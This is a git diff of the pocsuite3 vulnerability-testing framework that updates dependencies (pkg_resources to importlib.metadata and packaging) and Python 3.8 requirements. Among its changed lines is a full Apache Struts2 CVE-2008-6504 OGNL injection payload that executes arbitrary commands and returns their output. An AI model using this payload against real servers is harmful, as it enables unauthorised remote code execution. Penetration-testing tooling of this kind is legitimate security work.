diff --git a/README.md b/README.md index d4d722a2..9391ec99 100644 --- a/README.md +++ b/README.md @@ -148,7 +148,7 @@ The usage is roughly the same as docker’s command line parameters. ## Requirements -- Python 3.7+ +- Python 3.8+ - Works on Linux, Windows, Mac OSX, BSD, etc. ## Installation diff --git a/pocsuite3/lib/core/register.py b/pocsuite3/lib/core/register.py index dc63d410..daeb4e7f 100644 --- a/pocsuite3/lib/core/register.py +++ b/pocsuite3/lib/core/register.py @@ -1,5 +1,5 @@ import re -import pkg_resources +from importlib import metadata import importlib.machinery import importlib.util from importlib.abc import Loader @@ -56,7 +56,7 @@ def check_requires(data): import_name = install_name __import__(import_name) try: - ver = pkg_resources.get_distribution(install_name).version + ver = metadata.version(install_name) except Exception: ver = 'unknown' logger.info(f'{install_name}=={ver} has been installed') diff --git a/pocsuite3/lib/core/settings.py b/pocsuite3/lib/core/settings.py index cec7b82e..8246f9ec 100644 --- a/pocsuite3/lib/core/settings.py +++ b/pocsuite3/lib/core/settings.py @@ -39,7 +39,7 @@ "Usage of pocsuite for attacking targets without prior mutual consent is illegal." ) -BANNER = """\033[01;33m +BANNER = r"""\033[01;33m ,------. ,--. ,--. ,----. \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m | .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. | | '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' < @@ -57,7 +57,7 @@ BOLD_PATTERNS = ( "' is vulnerable", "success", - "\d ", + r"\d ", ) OLD_VERSION_CHARACTER = ("from comm import cmdline", "from comm import generic") diff --git a/pocsuite3/lib/core/update.py b/pocsuite3/lib/core/update.py index 0ddb9e6b..581a52c2 100644 --- a/pocsuite3/lib/core/update.py +++ b/pocsuite3/lib/core/update.py @@ -1,6 +1,6 @@ from pocsuite3.lib.core.data import logger, conf -from six.moves.xmlrpc_client import ServerProxy -from pkg_resources import parse_version +from xmlrpc.client import ServerProxy +from packaging.version import parse as parse_version from pocsuite3 import __version__ diff --git a/pocsuite3/lib/utils/__init__.py b/pocsuite3/lib/utils/__init__.py index 375ac169..afeb6c15 100644 --- a/pocsuite3/lib/utils/__init__.py +++ b/pocsuite3/lib/utils/__init__.py @@ -283,7 +283,7 @@ def gen_cert(countryName='', def minimum_version_required(ver): from pocsuite3 import __version__ - from pkg_resources import parse_version + from packaging.version import parse as parse_version v1, v2 = parse_version(ver), parse_version(__version__) if v1 > v2: logger.warning(f'The minimum version required for this PoC plugin is {ver}, ' diff --git a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py index 4f87aeac..352d4c81 100644 --- a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py +++ b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py @@ -16,7 +16,7 @@ from typing import get_type_hints, Union import chardet -from pkg_resources import parse_version +from packaging.version import parse as parse_version from pocsuite3.lib.core.log import LOGGER as logger from pocsuite3.lib.yaml.nuclei.protocols.common.expressions.safe_eval import safe_eval diff --git a/pocsuite3/modules/spider/__init__.py b/pocsuite3/modules/spider/__init__.py index 75c65dea..68a053e1 100644 --- a/pocsuite3/modules/spider/__init__.py +++ b/pocsuite3/modules/spider/__init__.py @@ -73,9 +73,9 @@ def get_links(self, url, url_ext=()): def get_redirect_url(url): # TODO: # regex need more test cases - meta_regex = '(?is)\]*?url\s*=([\d\w://\\\\.?=&;%-]*)[^<>]*' - body_regex = '''(?is)\]*?location[\s\.\w]*=['"]?([\d\w://\\\\.?=&;%-]*)['"]?[^<>]*''' - js_regex = '''(?is)[^<>]*?location\.(?:replace|href|assign)[=\("']*([\d\w://\\\\.?=&;%-]*)[^<>]*?''' + meta_regex = r'(?is)\]*?url\s*=([\d\w://\\\\.?=&;%-]*)[^<>]*' + body_regex = r'''(?is)\]*?location[\s\.\w]*=['"]?([\d\w://\\\\.?=&;%-]*)['"]?[^<>]*''' + js_regex = r'''(?is)[^<>]*?location\.(?:replace|href|assign)[=\("']*([\d\w://\\\\.?=&;%-]*)[^<>]*?''' resp = requests.get(url) true_url = resp.url diff --git a/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py b/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py index e7cd9af9..a2d14eae 100644 --- a/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py +++ b/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py @@ -36,7 +36,7 @@ def _verify(self): r = requests.post(paylaod, data=data, headers=headers) if r.status_code == 200 and "" in r.text: - m = re.search('', r.text) + m = re.search(r'', r.text) if m: content = m.group()[:limitSize] result['FileInfo'] = {} diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py index eae674c7..09d6d3bd 100755 --- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py +++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py @@ -31,7 +31,7 @@ def _options(self): def _check(self): result = {} - exec_payload = "(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))" + exec_payload = r"(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))" # noqa: E501 paylaod = exec_payload.format(cmd=quote("id")) r = requests.get(self.url + "?" + paylaod) if "groups=" in r.text: @@ -52,7 +52,7 @@ def _attack(self): result = {} if p: cmd = self.get_option("command") - exec_payload = "(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))" + exec_payload = r"(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))" # noqa: E501 payload = exec_payload.format(cmd=quote(cmd)) r = requests.get(self.url + "?" + payload) if r.text: diff --git a/setup.py b/setup.py index 9184d356..c2b04040 100644 --- a/setup.py +++ b/setup.py @@ -34,7 +34,7 @@ def find_packages(where='.'): zip_safe=False, packages=find_packages(), include_package_data=True, - python_requires='>=3.6', + python_requires='>=3.8', entry_points={ "console_scripts": [ "pocsuite = pocsuite3.cli:main", @@ -57,7 +57,8 @@ def find_packages(where='.'): "dacite", "PyYAML", "lxml", - "docker" + "docker", + "packaging" ], extras_require={ 'complete': [